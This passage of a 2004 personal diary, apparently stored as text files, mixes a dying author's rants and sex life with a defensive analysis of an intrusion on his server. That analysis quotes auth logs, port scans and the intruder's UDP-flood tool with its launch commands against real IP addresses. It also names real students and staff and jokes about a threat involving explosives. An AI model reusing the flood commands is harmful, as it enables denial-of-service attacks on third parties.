actually enjoy 'em before I die. And the +claim form asks me to quantify all my other assets... vehicle, shares, +bank accounts, houses, rah rah.. presumably to help them decide if I +should sell all these things and become completely depauperate first +before they'll let me raid my super. + +As you'd expect, the fact that I'm *dying* doesn't matter half a rodent's +fuck to APRA. And they have a damn lot of cheek to place, on the bottom of +a form which demands to know your financial situation in Orwellian detail, +the following question and follow it with six blank lines: + + +Please give a brief reason why you satisfy the grounds for early release +of your superannuation benefits + + + +I wonder what I should write here for perusal by uncaring, bored +clock-punching 'droids in a Canberran office tower. Several candidates: + +1) I'm dying, it's my money, I wanna spend it before I am dead. Fuckhead. + +2) See the "your superannuation benefits" in the question? This + implies correctly that they're my dollars. If they are my dollars, I + should not need to show you any reason why I want them. If they are + in fact not my dollars, I should not fill in this form. + +3) My superannuation fund throws my money in the toilet and it is silly to + let them continue this. See attached. + +4) By the time these sequestered funds of mine are nominally released in + about 2030, they won't be worth the cost of the postage required to + send me a check for them in the post. Collapse in energy supply causes + massive hyperinflation. See Germany, 1933, and others, for + expectable financial sequelae. + +5) It is incalculably unwise to make angry by pointlessly withholding from + him what is his, a dying but able-bodied man with field experience in + locksmithing, electronic security systems, and the application of + explosives to buildings and safes for demolition purposes. Do you feel lucky? + + +But since I don't think these would get me anywhere, I'm gonna leave it +blank. This question does not deserve the dignity of response intrinsic to +even a well-sculpted string of profanities. + +It is noticable that the government (did I mention parliamentarians get +all their super paid in from the public purse and it's not taxed?) taxes +the sum at 21.5% on the way out even if the rest of my income is below the +tax free threshold. At that rate I might as well just not ever show up on +Mondays. Or if I was to go to work for forty years, not show up for eight +of them at all. Do the math. The magnitude of this rort beggars my +imagination, and I'm capable of some pretty heavy imagination: in +Australia alone there's about $540 billion (that is, $540,000,000,000) in +managed superannuation funds. Assuming the tax rate stays the same (yeah +right - it never gets *smaller* does it?) they govt gets about oh, $115 +billion in tax when all of that gets withdrawn. + +An annual one percent inflation robs the public of approximately five +gigabucks of purchasing power per annum. As such the 'super companies are +therefore paying off their retiring/retired superannuants out of the +contributions of those people who are still working. These people who are +still working are gonna get reamed in the long term and they won't even +know why. What an absolute scam! + +Mine's not a huge pile, but, fuck it, it's *MY* money. I earned it _so_ I +could spend it on stuff, not die leaving it in the care of bunch o' +corporate shareholders and no-life fucks in the insurance industry. Who +the fuck do they think they are, keeping it from me when I'm dying? +Arseholes. I could get really cranky about this... only the extremely +stupid stand between the dying and their cash. If someone swiped half a +grand off you in the hotel carpark they'd get a couple of years in the +slam for robbery. In comparison, it appears it has been legislated that by +superannuation, not only we are robbed but also that we pay the robbers to +rob us. Crime pays, and pays very well. + +Copious whinging aside, looking at it another way: my strategy has turned +out to be correct: minimise my exposure to the greedy shits at the ATO by +earning as little taxable income as possible. Most people'd piss their +pants in visceral ecstasy if they were only losing a few hundred bux to +superannuation tax. Most lose tens if not hundreds of k$, which for most +people slaving away their whole lives earning normal incomes is roughly +equivalent to financial arse-rape with a Saturn V rocket. So +strategically, even if they refuse to relinquish any of it to me (because, +say, they decide I'm not really dead), it'll turn out to be only a small +fistful of hours from my life down flung the toilet earning the money of +mine which they have. I win by recognising the parasitisation and refusing +to feed it. You only own what nobody knows you have. + + +It's the night of Thursday Feb 5 and as I absently feel my neck I think, +in a somewhat paranoid manner, that perhaps Bill is stirring again. Yes, +indeed he is. I'd estimate he's about 10mm on his largest axis. Arrr, +shit. The problem with having a convenient diagnostic metastasis is that +my emotional state goes up and down as it grows and recedes. + + + + +--------- + +Feb 7th + +I've been working on a kilowatt-hour meter setup for catalyst since we +never know how much juice we use running the servers (we make an estimate +- not a measurement). I scavenged most of it from the squats I used to +live in at Broadway in 2001 after the South Sydney Council cut our +electrickery off. Stutterin' Jus' Hewitson scored a hundred dollars worth +of residual current cutout device in a power point he scavenged from a +dumpster, so that's gonna be incorporated to prevent people getting zapped +working on live equipment, plus two other power sockets and a circuit +breaker. It's nearly done, but there's a lot of metalwork to finish yet. +There's already LC noise filtering on the active rail. I'll solder in some +spike-suppression MOVs later. + + + +The novocastrian purple death faerie didn't show up on saturday arvo but +melburnian R did... albiet the best part of an hour late. It was good +chatting to her. We went for a stroll around the Newtown cemetary (which +has the highest concentration of empty alcoholic beverage cans, used +condom packaging, nitrous oxide bulbs and abandoned bongs of any cemetary +I have visited - and the locals fuck on the tombstones) and thought about +epitaphs (she thought of a good one - `so that's what's under here'). + +Cluckiness has her. She's making some waffly arguments about doing +everything that a body can do, in much the same way as one might argue +that one should do all the things one's really good tool could do, with +the tool in question, being preggers is something she wants to experience. +I think deep down she's rationalising. I mean, I can theoretically do +ballet dancing with my body but I don't think it's a good idea. + +So she's on the hunt for some DNA (and associated encapsulation/delivery +system) to start a rugrat and I clued into the fact that she was asking me +about it, in part because she'd be interested in *mine*. + +But I am a sample of one - with no pedigree and no history I cannot know +what genetic damage I harbour. Anyway I (and 90% of the populus in cities) +carry a teratogenic virus, CMV-3, to which I think the rugrat-in-process +better not exposed if possible. I'm declining for a number of reasons. In +no particular order, the world's crawling with about six billion excess +humans already. + +Neonates born now will grow up (or not) amidst the Hydrocarbon Depletion +Collapse which is not gonna be fun to live in, I suspect to the extent +that they will curse us for ever conceiving them. Being dead would make +me the kind of absent father a kid would grow up to hate, I suspect. And, +this is the age of PCR (polymerase chain reaction) and RFLP (restriction +fragment length polymorphism) paternity testing, and the legal system +tends to suck child support out of biological fathers of children +regardless of the contractual circumstances of their conception. She wants +anonymous code but cannot get it by asking the donors, and the donors with +worthwhile quality of code live in bodies with brains of sufficient depth +and calibre to know it they walk on dangerous ground and will not donate. + +This discussion reactivated an old thought process: that the GNU GPL +should apply to the genomes of organisms. A neonate has to be considered +in the light of what it actually is, which happens to be a collaborative +biological software development project. With no known living relatives, +I'm freeware, pretty much, but I cannot donate my code under the GNU +copyleft, since hers would have to be copylefted too, on account of it +occurring consequently in the diploid rugrat which the GPL would also +cover. How would the Ashkenazi tribe to which she belongs take to the +discovery that their precious genetic material (with its unfortunate +tendancy for Guillaine-Barr and Tay-Sachs disease) was suddenly GPL'd ? +And of *course* I cannot guarantee my genetic material's fitness for +merchantability or any particular purpose - who knows what nucleotidyl +errors lurk in my Sertoli's cells? + +In any case, there'd not even be any fun from the point of view of the +code transmission event since R, so she sez, isn't into penetrative +shagging any more, and she's trying to find partners who are spontaneously +into bondage and domination, but her search is not helped by telling +people that she's into bondage and domination and pain, which ruins the +spontaneity - they have to know it in advance, and cannot learn it just to +get her off as if she's some kind of technical problem in need of a +solution. Now, I'm into occasional, tactically applied mains electricity +(stepped down, of course) and can tie knots well enough that I can and do +entrust my life to them, and have a shed full o' tools capable of +inflicting anything from mild irritation up to mortal injury. She asked me +some months ago at Nomes' if I was up for a shag, and I was (for a while). +But the offer has ended. I'm getting the feeling that I'm being jerked +around again, or maybe it's that my head has changed, and my perception of +women has altered. There's no rule that says that they have to shag me, or +even live up to their offers to shag me, just 'cos I'm dying. But much is +going on in R's head at the mo... it's +like her Fallopian tubes have reached up through her peritoneum, grabbed +her by the carotids and threatened her with death if they're not somehow +filled with a pile of foreign nuclear material (and I don't mean soviet +plutonium). The clock is ticking, she knows. So it is for all of us. + + + +---------- + +Sunday 8 Feb. + +Time of the signs. + +On the outside of the buildings where dad has his offices were attached +two large (2m x 1m... they make a great BWONNNNG noise when they flex) +sheet aluminium signs, which advertised to the world that his partner +practised there (the other two advertised that dad has his practise +there). Since Frank has retired now there's no point having the signs any +more so Frank wanted 'em removed. So I removed 'em, and had to abseil off +the roof and down the side of the building to do it, in stinking heat and +searing glare, with dad directing pedestrians away from the footpath under +my work area. The signwriters painted the screws in, so I had to hammer +them off with a chisel, which took a long time. Once the things were +detached I belayed 'em down clamped hard in vise grips, which were tied to +slings tied to me with a harness and figure-8. For two hours of work I +pull $300. Cookin' cashflow. And Frank will love me for gouging him that +hard, since he paid nearly six times that much for the hire of a cherry +picker to install the signs but a short year ago. Frank's a mate, so he +gets Mates Rates. If he pays cash. Michael Carmody's retirement fund +deserves none of my cash. + + +Fuck, i'm busy, packing in a LOT while I'm on the way out. + + +-------- + + +Monday 9th was a good day but the evening was better. The day was stinking +hot, I went home, got out of my sweatty dweeb clothes and into my usual +utilitarian rags, then went to Cinque where the Purple Death Faerie did +indeed show up. She's six foot of piercings, hair extensions and 2nd year +architecture student cool. She was not especially worried about Kev, which +was good to know. + +By the time we'd finished chatting it was raining, a hot, steaming mist +floated up off the King St bitumen. We walked to the graveyard at St Lukes +and sat up the back of the dark cemetary and chatted some more. Screams of +DIE, DIE, DIE came from a woman (we found out later her name was Lockie) +sitting on the back door of the church. We walked over and enquired why +she was yelling this out and she said "Anger Management". We freaked out +a couple of normals (we all yelled "DIE, DIE, DIE" at them and they looked +oddly at us and walked hurriedly away). Then in accordance with local +custom the Purple Death Faerie and I went back to the rear of the cemetary +and after decorating each other with various bitemarks, shagged +enthusiastically on a worn sandstone slab as the rain fell upon us in the +spooky shadows, to the accompanyment of fruit bats fighting in the trees +and the sound of several of the beads in her hair falling off and +scattering across the slab. If there is a god, I am going to hell, and I +am looking forward to meeting all the other people who have shagged on +this rock. We rode back to her student accom in the light drizzle, and to +my amazement she fitted ALL THAT HAIR into my spare 'cycle helmet. + +-------------- +Feb 13. + +A week of tutoring and driving, lemming-like, my motorcycle back and +forth, but a tiny drop in the hydrocarbon-powered, daily metallic tide +which rushes into the CBD before 9am and rushes out again at 4:30. The +roads are jammed with cars, almost all of them 75% empty of passengers. +And why do I suffer this idiocy instead of driving in an hour late (30km +in is a fair drive, I'm not gonna ride that on the treadly). Oh, I dunno. +The money, partly. But I think the students enjoy my ranting about the +evils of governments, censorship and that corporations are trying to turn +the internet into television, like they've never heard anyone lecturing at +uni express an opinion before. One of my students has a 'blog (I deduced +it from the content of her first assignment) and she (almost an +optometrist, we hadda long chat about optic nerve bandwidth, rhodopsin +alleles, UV absorption in lens crystallin, Nepali myopia epidemiology, and +a few other things, hence I spent a couple of minutes looking at it) wrote +that she enjoyed the chat and liked that I knew a lot about a lot of +stuff. Wow. I'm not gonna own up to having read it. + +--------- +From predator@cat.org.au Sat Feb 14 00:06:38 2004 +Date: Fri 13 Feb 2004 00:12:04 +1100 (EST) +From: predator@cat.org.au +To: predator@cat.org.au +Subject: MS has perfected the art of the fucking annoying error message. + +I was forced to use Puke XP today to mark 50 HTML files from the students, +and I have seen the following error message at least two hundred times, 6 +times whilst quoting the message. I do not have the Windows Explorer +browser open.... maybe that's that they call their OS now, tho. Just +Mozilla open, and it works. + +-------------------------------------------------------------------------- +Windows Explorer has encountered a problem and needs to close. We are +sorry for the inconvenience. If you were in the middle of something the +information you were working on might be lost. PLEASE TELL MICROSOFT ABOUT +THIS PROBLEM. We have created an error report that you can send to help us +improve Windows Explorer. We will treat this report as confidential and +anonymous. To see what data this error report contains CLICK HERE + +[Send error report] [Dont send] +----------------------------------------------------------------------------- + +Natch this comes up right in the middle of the fucking screen right on top +of whatever you're trying to do. It wont go away unless you click one of +the buttons. If you click the SEND ERROR REPORT button another window +comes up which also asks you to click it. This cycle repeats about twice a +minute. + +ARRR! FUCK! FUCK! BLOODY BLOODY FUCKING FUCK!!! BILL GATES DIE, DIE, DIIIE +- how is it that fuckhead is still walking around alive? Make an OS which, +if it must have errors, doesn't annoy the shit out of me in the process of +reporting them! FUUUCKWIT! This is NOT EASE OF USE. And like you'd trust +MS to treat anything as confidential or anonymous. Ha. Ha Ha HAHAH! + Suuuure. +----------------------------------------------------------------------------- + +There's also a spunky woman in her mid-20's, with an amazing grin and a +much better tan than I have (she is Indian... brown hair, brown eyes, +brown-flecked corneas, even brown *gingivae* - does she have *any* pink +bits?). She's in one of the tutorials which i don't run, which is good, +because I'd compromise my academic impartiality if we got involved, which +I'd like to, since we've chatted a bit and I think we find each other +interesting. She gives me _those_ furtive glances. And she has a very +suggestive name. Her first name is homophonic with Zyn. Meaningless to an +atheist, but most inviting, I think. Her second name is Amurthalingam. I +dunno what Amurtha stands for but I know what a lingam is. She *gives* me +one. We've decided to go guzzle some burnt arabica nut juice somewhere +this weekend and blab about stuff. + +I dropped in at Harrigans on the way home from Uni. Christine hasnt aged a +day, her youngest daughter'd be 21, and is becoming like her older sis +Tash. Their kitchen is different, they've remodelled the living +room. Greg's still cycling. Nick's startin' a PhD. Wow. Model citizens, +for certain kinds of citizenries, I think. + +Diode dropped in my copy of Free Software, Free Society. Good. + +I've finished the CAT power meter / circuit breaker / noise filter / spike +suppressor / residual current device mains feed board, but am yet to test +it cos I don't wanna trip the house out (and still have to solder the MOVs +in but that'll take two minutes, it's a no-thinker). I put it aside and +configured my long black pants with several pieces of stainless braided +hose, for tomorrow night at Vortex. I want to convince myself that I look +as if the Borg have assimilated my leg, and after I dance around in this +crap for a few hours it will certainly feel like they have. Ow! + +Sitting in front of a uni poota for two weeks let me read about carbonic +anhydrase IX as a prognostic marker for tumor survival. It's expressed a +lot in most of the tumors which kill the people who host 'em. I wonder... +does it express this stuff in reaction to local pH? Which is something +HCO3+ would buffer, you stick on a proton using this enzyme and create CO2 +and H2O. + + +Ok, this file is far too fuckin' long. I'm gonna freeze this one and start +the next. It'll be at conway.cat.org.au/~predator/ides.txt cos it's +Fri 13th. WHo gives a shit what the filename is so long as you +can find what you're looking for? + +I know it sucks to copy'n'paste. The HTML for a link to the next file is + + ides.txt + +Click away. + + + +----------------------------------------------------------------------------- diff --git a/march.txt b/march.txt new file mode 100644 index 0000000..d148d54 --- /dev/null +++ b/march.txt @@ -0,0 +1,2048 @@ +File: March.txt +Content: March 2004, as in, death march, which is what geeks call a +project which grinds on painfully for ages until it is either released or +axed. + + +Look, I know you're reading this 'cos you want some more disaster porn +about this tumor, and you want to read that on I dunno, it's eaten my left +eyeball and now I'm walking around with a patch and, in the fashion of the +bravely sufferin' crip, have bought a pirate hat, attached a stuffed +parrot to my shoulder with velcro, and am swaggerin' around saying `Arrr, +lost me'oy to a foul an' dread diseeze.' Nah. It's not that funny. It +really is scary and really does suck. I write this stuff for a couple of +reasons. Mainly to keep people in the loop without having to tell everyone +a slightly discrepant version of the same events over and over. Slightly +to keep myself aware that I'm a human being living a life and am not a +self-documenting catalog for the pathology of a mortal disease process. +Slightly so there's something of me contaminating the disk and mindspace +of the future generations I will not hang around to be in. So much of the +rants, I hope, will continue to be about stuff totally unrelated to the +disease I now harbour. But don't worry, there's tech, sex, crime and +death, anyway. Something to annoy everyone. + +D'ya notice, too, that sometimes I repeat stuff in the rants? That's how +the chunk of jello-o in my head works. Things pop up over and over and get +chewed, analyzed, experienced again. Yeah, ok, it makes for bad +copy. Don't mistake me for someone who cares about that. + +Oh. Some of you are not geeks and find the chunks of tech stuff, such as +the following, crashingly tedious. So when you encounter , search +for the occurence of to skip forward to the non-geek stuff. + +I did a little more analysis of what the UNSW predator impersonator was up +to on conway before I chopped him off at the knees. + + +From predator@cat.org.au Thu Mar 4 17:44:39 2004 +Date: Wed, 3 Mar 2004 03:18:49 +1100 (EST) +From: predator@cat.org.au +To: zzzzzzzz@unsw.edu.au +Subject: What was the cracker doing? + + +Hi Geoff. Good to chat to you today. + +There is no evidence from my bash_history that there was anything really +deliberately malicious that the chap was doing to cat.org.au. To my +awareness he never did anything which was designed to hide log entries +(hence we have a lot of them) or modify/delete files, add backdoors to +daemons, install a rootkit, grab the password file, etc. There was some +anomalous behaviour on conway (mainly lockouts and crashes, it had been up +for at least a month prior to that) correlating with the unauthorised +activity and possibly some lossage of stuff on /usr but that was all +backed up on an unmounted spun-down harddisk. Still... this inconvenienced +me and several other people. + + +---------- +Auth.logs + +Here's some analysis of the auth.log on conway, for the day that I locked +your cracker out of the machine here at Turella, conway.cat.org.au. He +did, it appears, try and log in again several times after I changed the +password. + +The auth.logs don't care about tty entries, since they're not invoked from +the network, and are assumed to be authorised at a physical level (if you +can get to a keyboard, you probably own the machine anyway.) + +These are the auth.log entries for the day I logged him out, with +commentaries: + +root@conway:~# grep 129.94 /home/predator/auth.log | grep 129.94 + +>Feb 26 00:26:39 conway sshd[27174]: Could not reverse map address +>129.94.222.175. +>Feb 26 00:26:41 conway sshd[27174]: Accepted password for predator from +>129.94.222.175 port 2101 + +That's the unauthorised chap logging in 15 minutes before I arrived +locally at the server. I arrived about fifteen minutes later, at twenty +minutes to one in the morning, initially logged in from tty4. + +It happens that when I'm in the same room, I normally log in to conway, +from an adjacent machine, tarvat.cat.org.au (192.186.2.1) which is our +NAT/firewall/router box. That I logged into conway at conway's terminal at +all, was a consequence of conway's process allocation being so completely +monopolised by the hajar executable, and the network bandwidth between +conway and tarvat (10mbit/sec) being so saturated that ssh authentication +was taking forever to complete, so I changed chairs, powered up conway's +monitor and logged in there directly. I ran top -qi, and shortly after +that point I kill -9'd ed the hajar executable (bringing loadavg back to +something respectable - most of the utilisation LEDs on the DE-1600 hub +then went dark - all of them were lit solid when I arrived). + +Then I ran w, looked at the originating IPs and then killed all of the +bash shells from 129.94.222.175, which presumably killed the psyBNC mIRC +proxy if it was running at all (maybe it never was invoked). + +I then logged in from several other virtual terminals on conway and tried +and figure out where the heck this 129.94 machine was, hence this entry +below. My account (predator) is superuser capable and any superuser +privelages used via sudo are logged, such as the following entry from me +on the morning: + +>Feb 26 00:41:25 conway sudo: predator : TTY=tty4 ; PWD=/home/predator ; +>USER=root ; COMMAND=/usr/sbin/traceroute 129.94.222.175 + + +Here below, in this entry, he tries to log in again. PuTTY.exe likes to +try to reverse-lookup DNS entries first so the client can be +name-identified before permitting access, but I think this doesn't happen +because these UNSW numbers don't have assocated DNS entries anyplace. + +>Feb 26 02:34:15 conway sshd[3712]: +>Could not reverse map address 129.94.222.175. +>Feb 26 02:34:20 conway sshd[3712]: Failed password for predator from +>129.94.222.175 port 2163 + + +He tries again about a minute later.... + +>Feb 26 02:35:38 conway sshd[3712]: Failed password for predator from +>129.94.222.175 port 2163 + +Then again nine seconds later.... + +>Feb 26 02:35:45 conway sshd[3712]: Failed password for predator from +>129.94.222.175 port 2163 + + +I think at this point he's decided the PuTTY session is broken (and maybe +his IRC proxy is not working anymore either) so he invokes PuTTY again, +and the reverse DNS entry request fails again: + +>Feb 26 02:36:18 conway sshd[3798]: Could not reverse map address +>129.94.222.175. +>Feb 26 02:36:26 conway sshd[3798]: Failed password for predator from +>129.94.222.175 port 2172 + +... and he tries again, with a new session, nearly three minutes later.... + +>Feb 26 02:39:28 conway sshd[3901]: Could not reverse map address +>129.94.222.175. +>Feb 26 02:39:35 conway sshd[3901]: Failed password for predator from +>129.94.222.175 port 2188 + +... and again 4 seconds later in the same session. + +>Feb 26 02:39:39 conway sshd[3901]: Failed password for predator from +>129.94.222.175 port 2188 + + +I think he finally gets the idea that he's locked out after six attempts. + +There are no other entries from that machine. + +By 3:25am the email you got on Thurs 26th Feb was on its way to Graham +Low. It was also posted to catgeek, a mailman list where the admin on +cat.org.au post tech discussions to each other. One of the other root +admin here, Andy, read the posting not long after, and did what I did - +portscanned the machine in question: + + +>Feb 26 03:47:43 conway sudo: andy : TTY=pts/2 ; PWD=/spare/backups ; +>USER=root ; COMMAND=/usr/bin/nmap -sS 129.94.222.175 + + +That's everything of relevance to 129.94.222.175 from Feb 26's +auth.logs. + +Earlier auth.logs contain the following: + +Feb 16 13:38:47 conway sshd[9054]: Accepted password for predator from 129.94.222.105 port 4920 +Feb 16 13:54:50 conway sshd[10156]: Accepted password for predator from 129.94.222.105 port 4986 +Feb 16 14:22:54 conway sshd[12410]: Accepted password for predator from 129.94.222.105 port 1090 +Feb 16 14:26:05 conway sshd[12679]: Accepted password for predator from 129.94.222.105 port 1131 ssh2 +Feb 16 14:30:19 conway sshd[13087]: Accepted password for predator from 129.94.222.105 port 1132 ssh2 + +(the fun probably starts below here...) +Feb 18 13:15:45 conway sshd[18185]: Accepted password for predator from 129.94.222.177 port 2018 +Feb 19 18:56:47 conway sshd[11154]: Accepted password for predator from 129.94.222.175 port 4873 +Feb 20 16:10:20 conway sshd[13291]: Accepted password for predator from 129.94.222.175 port 2362 +Feb 20 16:41:04 conway sshd[19611]: Accepted password for predator from 129.94.222.175 port 2551 +Feb 21 13:29:33 conway sshd[10488]: Accepted password for predator from 129.94.222.175 port 2912 + +Then .... did nothing until the 26th as far as I can tell. + +------------------------ +conway syslogs + +I was wondering if some invokations of pine in my bash_history entries +that day were invoked by him looking at emails he'd managed to send to +himself (well, to me) but this appears to not be the case. + +The syslogs for the 23rd to the 26th (chop-off day) have four entries +pertinent to 129.94 addresses: + +Feb 26 06:43:56 conway qmail: 1077738236.012945 +tcpserver: pid 6978 from 129.94.12.209 +Feb 26 06:44:25 conway qmail: 1077738265.105903 +tcpserver: pid 7007 from 129.94.12.209 + +These above correlate with the two messages from Graham Low to you (Geoff) +and I, which left UNSW timestamped at 06:41:53 AM and 06:42:23 am. + +Feb 23 17:06:27 conway qmail: 1077516387.618695 +tcpserver: pid 6274 from 129.94.12.209 +Feb 23 19:16:18 conway qmail: 1077524178.101642 +tcpserver: pid 14297 from 129.94.12.209 + +These two also check out to emails I recieved from Graham which left UNSW +timestamped at 17:04:36 and 19:14:18 on their respective days. Graham must +be working long days! + +Again, the timestamps are accurate. These are out-of-normal-hours SMTP +connections from notesmta.commerce.unsw.edu.au, and noteworthy because of +their odd times, but otherwise check out. + +Other entries in earlier parts of the syslog correlate to other legitimate +postings I recieved from Graham Low, Shane Stevens' cse account, late +submissions from GENC5001 students Peter Koh and Kim Warner, and also a +posting from Joe Wolfe in the UNSW physics department. So I suspect if +your cracker has an 0wn3d email account anyplace in UNSW which he wanted +to test, he didn't test it by sending things to predator@cat.org.au then +deleting them. + +------------------------ +conway snort logs. + +The snort logs for conway.cat.org.au indicate nothing from 129.94.222.175 +for all of February. As far as snort is concerned, the chap had a legit +passwd/account combo (mine) so was legitimately logging in. + +----------------------- +Conway /var/log/messages + +is, with respect to 129.94 numbers, completely mundane but has a UNSW +machine on an IP number I don't associate with UNSW. + +zgrep unsw messages.1.gz + +gets me this : + +life-x.life.unsw.edu.au 149.171.170.4 + +Appears to be an alias to smtp3.unsw.edu.au + + 1 tarvat (192.168.2.1) 0.447 ms 0.420 ms 0.321 ms + 2 tel140302-2.gw.connect.com.au (210.9.224.241) 557.850 ms 534.234 ms 400.477 ms + 3 bdr1.telenet.net.au (202.9.33.65) 329.817 ms 141.028 ms 62.680 ms + 4 gigabitethernet0-3-15.cor2.bri.connect.com.au (203.63.117.246) 60.696 ms 65.115 ms 108.969 ms + 5 gigabitethernet4-0-0.bdr1.bri.connect.com.au (203.63.11.81) 133.138 ms 105.336 ms 108.336 ms + 6 so-1-0-1.cre1.for.connect.com.au (202.10.4.45) 187.867 ms 65.373 ms 137.621 ms + 7 so-0-1-0.cre1.bri.connect.com.au (202.10.0.56) 44.293 ms 56.025 ms 39.347 ms + 8 so-2-1-1.cre1.syd.connect.com.au (202.10.0.33) 57.829 ms 59.814 ms 61.287 ms + 9 pos1-0.bdr4.syd.connect.com.au (202.10.4.62) 57.830 ms 60.106 ms 60.509 ms +10 vlan219.52gdc76f02.optus.net.au (61.88.171.205) 58.332 ms 61.796 ms 55.901 ms +11 gigeth3-0.ug1.optus.net.au (203.202.36.1) 61.948 ms 58.625 ms 60.303 ms +12 gigeth1-0-0.sn2.optus.net.au (202.139.190.16) 59.773 ms 60.889 ms 56.782 ms +13 * nsw-rno-dom.sn2.optus.net.au (202.139.18.114) 58.108 ms 53.548 ms +14 203.15.123.177 (203.15.123.177) 54.050 ms 59.274 ms 52.545 ms +15 gigxxx.unsw.edu.au (138.44.1.38) 56.228 ms 117.588 ms 54.973 ms +16 129.94.255.182 (129.94.255.182) 53.398 ms 66.237 ms 53.127 ms +17 life-x.life.unsw.edu.au (149.171.170.4) 54.120 ms 55.444 ms 59.328 ms + +(many) ports open on this machine are: +21, 25, 80, 110, 119, 135 (filtered) 139 (filtered), 143, 161 +(filtered) 162 (filtered) 443, 445 (filtered) 563, 593 (filtered), 691, +993, 995, 1379, 3389, 4444 (filtered), 6001, 6002, 6004, 8081, and 10000 + +I don't know if this is of relevance. + + + +----------------------- +The port 51 exploit: + +The C code which was compiled on conway and launched without authorization +as an executable from my account is attached below. Output appeared to be +sent to stderr (not a file). Targetted machines were: + +> 196 ./hajar 80.144.184.19 51& +This appears to be a machine somewhere in Europe, on t-dialin.net, via +sprintlink in Germany. It thinks it is called p5090b813.dip.t-dialin.net. +That port is currently filtered, the service is la-maint + +> 255 ./hajar 202.159.50.17 51& +This is a machine in Indonesia, probably several hops into indo.net.id; +It thinks it is called mma-ip-017.indo.net.id +Port 51 on that machine is currently closed. + +> 319 ./hajar 202.155.38.120 51& +This looks to be an indosat.net machine reachable via INTER.NET's +Indonesian satellite gateway. Port 51 on that machine is currently closed. + +> 364 ./hajar 203.173.147.137 51& +This is a machine under the administration of ihug, Sydney. +It thinks it is called p137-tnt8.syd.ihug.com.au +It is also running la-maint in filtered mode, and is blocking ping probes. + +la-maint is apparently a logical address maintainer for IMP. I am not sure +what the significance of this is, now how he chose his numbers. + + +------------------ +Benchmarking the local load effects of running the attack: + + +I just now un-froze hajar as he compiled it, and ran it thus: + +predator@conway:~/ $hajar 192.168.2.3 51 + +It says: + +Pasukan..!!!! Tembaaaak 192.168.2.3 ke port 51 + + +If invoked with & at the end it will run in background. While hajar _is_ +running in background, + +predator@conway~:sudo lsof | grep hajar + +gets this: + +hajar 27794 predator cwd DIR 3,66 4096 327141 /home/predator/ +hajar 27794 predator rtd DIR 3,1 4096 2 / +hajar 27794 predator txt REG 3,66 6762 327143 /home/predator/ /hajar +hajar 27794 predator mem REG 3,1 92174 163078 /lib/ld-2.3.2.so +hajar 27794 predator mem REG 3,1 1230864 166374 /lib/libc-2.3.2.so +hajar 27794 predator 0u CHR 136,3 5 /dev/pts/3 +hajar 27794 predator 1u CHR 136,3 5 /dev/pts/3 +hajar 27794 predator 2u CHR 136,3 5 /dev/pts/3 +hajar 27794 predator 3u IPv4 7826995 UDP conway.cat.org.au:42043->conway.cat.org.au:51 +grep 27985 predator 1w REG 3,66 0 507774 /home/predator/hajar.lsof.txt + + +The second last line is interesting and correlates with the output of +trafshow (not shown here) while hajar runs in the background. It sends a +LOT of UDP traffic at port 51 of the target machine from ports in the +420xx range. It eats about 94% of the available CPU effort while it runs +in order to do this. + +Here's the ifconfig stats - check the loop interface (the attack is +launched over the loop interface during this investigation + +lo Link encap:Local Loopback + inet addr:127.0.0.1 Mask:255.0.0.0 + UP LOOPBACK RUNNING MTU:16436 Metric:1 + RX packets:23776994 errors:0 dropped:0 overruns:0 frame:0 + TX packets:23776994 errors:0 dropped:0 overruns:0 carrier:0 + collisions:0 txqueuelen:0 + RX bytes:2655499384 (2.4 GiB) TX bytes:2655499384 (2.4 GiB) + +Let's check them again exactly one minute later + +lo Link encap:Local Loopback + inet addr:127.0.0.1 Mask:255.0.0.0 + UP LOOPBACK RUNNING MTU:16436 Metric:1 + RX packets:26533212 errors:0 dropped:0 overruns:0 frame:0 + TX packets:26533212 errors:0 dropped:0 overruns:0 carrier:0 + collisions:0 txqueuelen:0 + RX bytes:2895290404 (2.6 GiB) TX bytes:2895290404 (2.6 GiB) + + + +So... conway's 94% busy running this script, and in 60 seconds has +generated approx 640 megabytes of UDP packets containing whatever this +script is attempting to do. + +Invoking it at our firewall just now: + +./hajar 192.168.2.1 51& + +reproduces the `All hub utilisation lights on' phenomenon which brought +all this to my attention in the first place. + + +No wonder conway wasn't paying attention to my attempts to log in! + +The other thing which he presumably intended to run was the psyBNC IRC +proxy - probably in line with proxies he runs on Windows machines on +campus. + +Here's the blurb, via Google. +------------------ +------------------ +My comments in here like so. +------------------ +------------------ + + +An Introduction to psyBNC 2.3.1 +©2002,2003 jestrix - jestrix(at)jestrix(dot)net + + + Introduction + + If you know nothing about bncs, a bnc is short for a 'bouncer.' A bnc + acts as a proxy for irc, allowing you to hide your real IP address and + use a vhost (vanity host - something like 'this.is.a.l33t.vhost.com'). + What are the advantages of this? Well, mainly there's just one + important one: It'll stop stupid packet kiddies from trying to knock + you off the network. Everyone hates getting disconnected, and with a + bnc on a decent shell, you should be pretty immune. Remember though: + the kiddies can still nuke you, but it is assumed that the shell + provider has a high-bandwidth line that allows it to withstand the + numerous packets. If your shell is on a 56.6, you'll still be screwed. + +---------- +---------- +We're on a 512Mbit/sec incoming DSL link. So if someone was trying to +knock this chap off we'd be fielding a lot of incoming packets! +---------- +---------- + + + So... why psybnc? There are a variety of other open source bnc's + available for you to download, most notably EZBounce and plain-ol BNC. + Both of these do the exact same basic thing as psybnc: hide your real + host. But that's about where the similarity ends. I've been using psy + for a long time now, and I love with all the features that it offers. + To name a few: + · You'll always be connected to irc. Even when you close your irc + client, psy will maintain your connection. When you connect later, + you'll instantly be back on the channels you left. This also lets you + hold your nick (if you need that feature), or hold ops on a channel. + · psy hides your IP even in DCC sessions. In other bncs, a direct + client-client session is opened, thus revealing your IP. In psy, the + connection is bounced through the shell, and your IP remains your + dirty little secret ;) + +---------- +---------- +Well, not if it's someone elses ;-) +---------- +---------- + + + · You can link multiple psy's together. This allows you to share + vhosts, and also create a small ircd, termed the 'internal' network on + the bncs. + · psyBNC now supports SSL. woohoo :))) + + There are tons more features, but you can just download the source and + view the README. + + Now... for the first part of this tutorial, the Basic section, I + assume you have little or no experience with shells/irc. For the + Intermediate section, though, I assume you can hold your own. For most + users, the Basic is as far as they need to go, but all the fun stuff + is a bit more complicated. + + + Configuring and Compiling + + Hopefully you have already downloaded the source. If not, you can find + it here: http://www.psychoid.lam3rz.de. After you have downloaded + +---------- +---------- +Yes, actually that's exactly where he downloaded it from. Maybe he read +this same tutorial? +---------- +---------- + + + that, fire up your favorite ftp client and upload it to the root + directory of your shell. You could also get the source by using lynx + or wget. Example wget command: + wget 